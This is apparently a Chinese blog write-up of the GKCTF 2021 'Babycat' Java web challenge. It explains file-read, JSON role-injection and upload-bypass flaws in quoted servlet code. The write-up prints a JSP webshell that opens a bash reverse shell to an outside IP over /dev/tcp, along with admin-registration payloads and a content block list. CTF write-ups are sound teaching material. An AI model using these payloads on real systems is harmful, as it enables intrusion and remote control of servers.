GKCTF-Babycat

2021GKCTF的Java题目

题目考点

  • 文件读取
  • json绕过
  • jsp上传

解题

1.文件读取

打开页面是一个登录和注册的框,尝试使用一些万能密码登录都不行。注册是不被允许的,会弹窗notallowd

查看注册页面的源代码,发现一段js代码。没有特别学过js,看的我一知半解但是我猜测应该是需要我们使用post方法然后将username和password用json的方式传输

<script type="text/javascript">
    // var obj={};
    // obj["username"]='test';
    // obj["password"]='test';
    // obj["role"]='guest';
    function doRegister(obj){
        if(obj.username==null || obj.password==null){
            alert("用户名或密码不能为空");
        }else{
            var d = new Object();
            d.username=obj.username;
            d.password=obj.password;
            d.role="guest";

            $.ajax({
                url:"/register",
                type:"post",
                contentType: "application/x-www-form-urlencoded; charset=utf-8",
                data: "data="+JSON.stringify(d),
                dataType: "json",
                success:function(data){
                    alert(data)
                }
            });
        }
    }
</script>

于是我构造一下的请求包,发现注册成功了

然后使用账号以及密码登录后跳转至一个新的页面,有上传也有下载操作。上传只允许admin用户来访问,Download Test下载的是一个猫猫的动图

抓包发现Download Test存在任意文件下载(读取),因为是java环境所以尝试读取了web.xml(老套路了),/etc/passwd这样的文件自然是读取不了的

web.xml:

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <servlet>
    <servlet-name>register</servlet-name>
    <servlet-class>com.web.servlet.registerServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>login</servlet-name>
    <servlet-class>com.web.servlet.loginServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>home</servlet-name>
    <servlet-class>com.web.servlet.homeServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>upload</servlet-name>
    <servlet-class>com.web.servlet.uploadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>download</servlet-name>
    <servlet-class>com.web.servlet.downloadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>logout</servlet-name>
    <servlet-class>com.web.servlet.logoutServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>logout</servlet-name>
    <url-pattern>/logout</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>download</servlet-name>
    <url-pattern>/home/download</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>register</servlet-name>
    <url-pattern>/register</url-pattern>
  </servlet-mapping>
  <display-name>java</display-name>
  <servlet-mapping>
    <servlet-name>login</servlet-name>
    <url-pattern>/login</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>home</servlet-name>
    <url-pattern>/home</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>upload</servlet-name>
    <url-pattern>/home/upload</url-pattern>
  </servlet-mapping>

  <filter>
    <filter-name>loginFilter</filter-name>
    <filter-class>com.web.filter.LoginFilter</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>loginFilter</filter-name>
    <url-pattern>/home/*</url-pattern>
  </filter-mapping>
  <display-name>java</display-name>

  <welcome-file-list>
    <welcome-file>/WEB-INF/index.jsp</welcome-file>
  </welcome-file-list>
</web-app>

然后分别读取uploadServlet.class,registerServlet.class,loginServlet.class,Person.class....等文件。起初我想通过文件上传jsp马的方式拿shell

2.json构造

uploadServlet.class部分代码:想要上传文件必须是role:admin,如果想从这里权限绕过其实不现实因为这里是通过session获取role来判断身份的

@MultipartConfig
public class uploadServlet extends HttpServlet {
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String admin = "admin";
    Person user = (Person)req.getSession().getAttribute("user"); //从session中获取user
    System.out.println(user.getRole()); //Person实例user对象的role属性
    if (!admin.equals(user.getRole())) { //role属性是否是admin
      req.setAttribute("error", "<script>alert('admin only');history.back(-1)</script>");
      req.getRequestDispatcher("../WEB-INF/error.jsp").forward((ServletRequest)req, (ServletResponse)resp);
    } else {
      List<String> fileNames = new ArrayList<>();
      tools.findFileList(new File(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"), fileNames);
      req.setAttribute("files", fileNames);
      System.out.println(fileNames);
      req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
    } 
    req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
  }

doGet上传不行,那么doPost呢?这里没有验证是否是admin就可以直接上传(官方wp说这里是非预期解)这个后面再说

  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    if (!ServletFileUpload.isMultipartContent(req)) {
      req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
      req.getRequestDispatcher("../WEB-INF/error.jsp").forward((ServletRequest)req, (ServletResponse)resp);
    } 
    DiskFileItemFactory factory = new DiskFileItemFactory();
    factory.setSizeThreshold(3145728);
    factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
    ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
    upload.setFileSizeMax(41943040L);
    upload.setSizeMax(52428800L);
    String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/";
    try {
      List<FileItem> formItems = upload.parseRequest(req);
      if (formItems != null && formItems.size() > 0)
        for (FileItem item : formItems) {
          if (!item.isFormField()) {
            String fileName = item.getName();
            String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
            String name = fileName.replace(ext, "");
            if (checkExt(ext) || checkContent(item.getInputStream())) {
              req.setAttribute("error", "upload failed");
              req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
            } 
            String filePath = uploadPath + File.separator + name + ext;
            File storeFile = new File(filePath);
            item.write(storeFile);
            req.setAttribute("error", "upload success!");
          } 
        }  
    } catch (Exception ex) {
      req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
    } 
    req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
  }

loginServlet.class:其实这里也不是很好绕过因为输入的username和password是从ctf表中取出来对比然后设置session的,role字段在ctf表中已经确定

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    resp.setCharacterEncoding("utf-8");
    String var = req.getParameter("data").replaceAll(" ", "");
    Person person = (Person)(new Gson()).fromJson(var, Person.class);
    System.out.println(person.toString());
    Connection connection = null;
    try {
      connection = baseDao.getConnection();
    } catch (Exception e) {
      e.printStackTrace();
    } 
    if (connection != null) {
      String sql = "select * from ctf where username=? and password=?";
      Object[] params = { person.getUsername(), person.getPassword() };
      try {
        ResultSet rs = baseDao.execute(connection, sql, params); //从数据库的ctf表中取出username,password,role字段
        if (rs.next()) {
          String pwd = rs.getString("password");
          if (pwd.equals(person.getPassword())) {
            HttpSession session = req.getSession();
            Person login_person = new Person(rs.getString("username"), pwd, rs.getString("role"), rs.getString("pic")); //设置一个Person实例
            session.setAttribute("user", login_person); //设置session
            System.out.println(login_person);
            resp.getWriter().write("{\"msg\":\"login success!\"}");
          } else {
            resp.getWriter().write("{\"msg\":\"username or password error!\"}");
          } 
        } else {
          resp.getWriter().write("{\"msg\":\"username or password error!\"}");
        } 
      } catch (SQLException e) {
        e.printStackTrace();
      } 
    } else {
      resp.sendError(500, "something error!");
    } 
  }

所以现在只能尝试注册一个role:admin的账户,registerServlet.class: 这里是主要代码,后面就是往数据库中注册

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    resp.setCharacterEncoding("UTF-8");
    Integer res = Integer.valueOf(0);
    String role = "";
    Gson gson = new Gson();
    Person person = new Person();
    Connection connection = null;
    String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\""); 
    Pattern pattern = Pattern.compile("\"role\":\"(.*?)\""); //正则表达式匹配 "role":"xxx"这样的内容
    Matcher matcher = pattern.matcher(var); 
    while (matcher.find()) //循环寻找最后一个匹配成功的字符串
      role = matcher.group(); 
    if (!StringUtils.isNullOrEmpty(role)) {
      var = var.replace(role, "\"role\":\"guest\"");  //存在字符串就替换
      person = (Person)gson.fromJson(var, Person.class);
    } else {
      person = (Person)gson.fromJson(var, Person.class); //不存在就添加
      person.setRole("guest");
    } 

问题就出现在循环的位置while(matcher.find()),这里找到最后一个匹配成功的字符串然后后续进行替换或添加,如果我们在前面添加"role":"admin"其实是不会被发现的,又因为json解析的特性后面出现的键会覆盖前面相同的键,所以我们必须将后面的键注释掉,json的注释:/**/

data={"username":"admin","password":"admin888","role":"admin"/*,"role":"guest"*/}

同样也可以这样构造

data={"username":"admin","password":"admin888","role":"admin","role"/**/:"admin"}

其实我一开始是这样构造的,这样可以吗?因为这里没有正则匹配到的字符串所以不会被替换但是会被else部分添加person.setRole("guest");,这样就导致了后面的覆盖前面的键值对导致构造失败。

data={"username":"admin","password":"admin888","role"/**/:"admin"}

其实这一部分有点php反序列化字符串逃逸的感觉,最后成功越权

我是admin!

3.jsp马上传

关于文件上传getshell要注意以下几点:

  • 上传路径是否可控
  • 是否有文件类型的限制

在home页面下点击upload会先走uploadServlet.class的doGet()方法,然后选则择文件上传会走doPost()方法,uploadServlet#doPost()会有俩个安全检测一个检查后缀名,另一个检测文件内容。但是if(checkExt(ext)||checkContent(item.getInputStream()))检查完以后没有return意味这代码会继续执行。也就相当于没检查

  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    if (!ServletFileUpload.isMultipartContent(req)) { //没有内容上传直接返回error.jsp页面
      req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
      req.getRequestDispatcher("../WEB-INF/error.jsp").forward((ServletRequest)req, (ServletResponse)resp);
    } 
    DiskFileItemFactory factory = new DiskFileItemFactory(); //创建文件工厂: 临时存放文件的地方
    factory.setSizeThreshold(3145728); //工厂
    factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
    ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory); 
      //创建上传工具,指定使用缓存区与临时文件存储位置.
    upload.setFileSizeMax(41943040L); //单个文件上传大小
    upload.setSizeMax(52428800L); //总文件上传大小
    String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"; //文件上传路径
    try {
      List<FileItem> formItems = upload.parseRequest(req); 
        //upload.parseRequest(req)用于解析request对象并返回所有上传项.每一个FileItem就相当于一个上传项.
      if (formItems != null && formItems.size() > 0)
        for (FileItem item : formItems) { //循环处理每一个上传项
          if (!item.isFormField()) {
              //上传组件
            String fileName = item.getName(); //获取上传文件名
            String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", ""); //获取后缀名index.jsp就是jsp
            String name = fileName.replace(ext, ""); //name就是index.
            if (checkExt(ext) || checkContent(item.getInputStream())) {
              req.setAttribute("error", "upload failed");
              req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
               // 没有return返回
            } 
            String filePath = uploadPath + File.separator + name + ext; //File.separator文件分隔符\或/
            File storeFile = new File(filePath); //新建文件
            item.write(storeFile); //写入文件内容
            req.setAttribute("error", "upload success!");
          } 
            
        }  
    } catch (Exception ex) {
      req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
    } 
    req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
  }

CATALINA_BASE与CATALINA_HOME的区别:https://blog.csdn.net/keda8997110/article/details/21400455

  • CATALINA_HOME:Tomcat安装目录
  • CATALINA_BASE:Tomcat工作目录

checkExt方法:这里根据ext的意思和方法能判断出该方法是检测文件扩展名的

  private static boolean checkExt(String ext) {
    boolean flag = false;
    String[] extWhiteList = { //只能是这些文件扩展名
        "jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", 
        "tar", "txt" };
    if (!Arrays.<String>asList(extWhiteList).contains(ext.toLowerCase()))
      flag = true; 
    return flag;
  }

checkContent方法:

  private static boolean checkContent(InputStream item) throws IOException {
      //检查文件的内容中不能包含"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit" 这些内容
    boolean flag = false;
    InputStreamReader input = new InputStreamReader(item);
    BufferedReader bf = new BufferedReader(input);
    String line = null;
    StringBuilder sb = new StringBuilder();
    while ((line = bf.readLine()) != null)
      sb.append(line); 
    String content = sb.toString();
    String[] blackList = { "Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit" };
    for (int i = 0; i < blackList.length; i++) {
      if (content.contains(blackList[i]))
        flag = true; 
    } 
    return flag;
  }

我尝试了一个正确的文件上传和错误的文件上传还都有显示

文件类型和文件上传路径都可以控制,因为是java环境而且是可以解析jsp,准备一个jsp的shell上传。目前已经知道的项目结构是在webapps/ROOT目录下

  • META-INF

  • static

  • WEB-INF

    • upload

    • web.xml

    • classes

      • com.web.servlet.registerServlet.class
    • lib

    • index.jsp

    • error.jsp

需要将文件上传到能够解析jsp且我们可以url访问到的地方,static目录或者ROOT目录下。 这是webshell.jsp:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>WebShell</title>
</head>
<body>
    <%--反弹shell--%>
    <%
        Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/101.42.224.57/4444 0>&1"});
    %>
</body>
</html>

将webshell.jsp文件上传到static目录下

然后访问该url并拿到shell

最后在根目录下readflag即可拿到flag,NSSCTF{05657a53-b853-4a62-a391-6f1dc1fb74c2}

但是令我疑惑的是为什么我在ROOT/目录下上传的jsp通过url访问竟然访问不了。上传到static目录下就可以,直到我拿到shell后才发现我应该是没有在ROOT目录下写文件的权限

俩天时间解决完了这道题,感谢NSSCTF提供的平台。

posted @ 2022-07-02 15:54  B0T1eR  阅读(220)  评论(0)    收藏  举报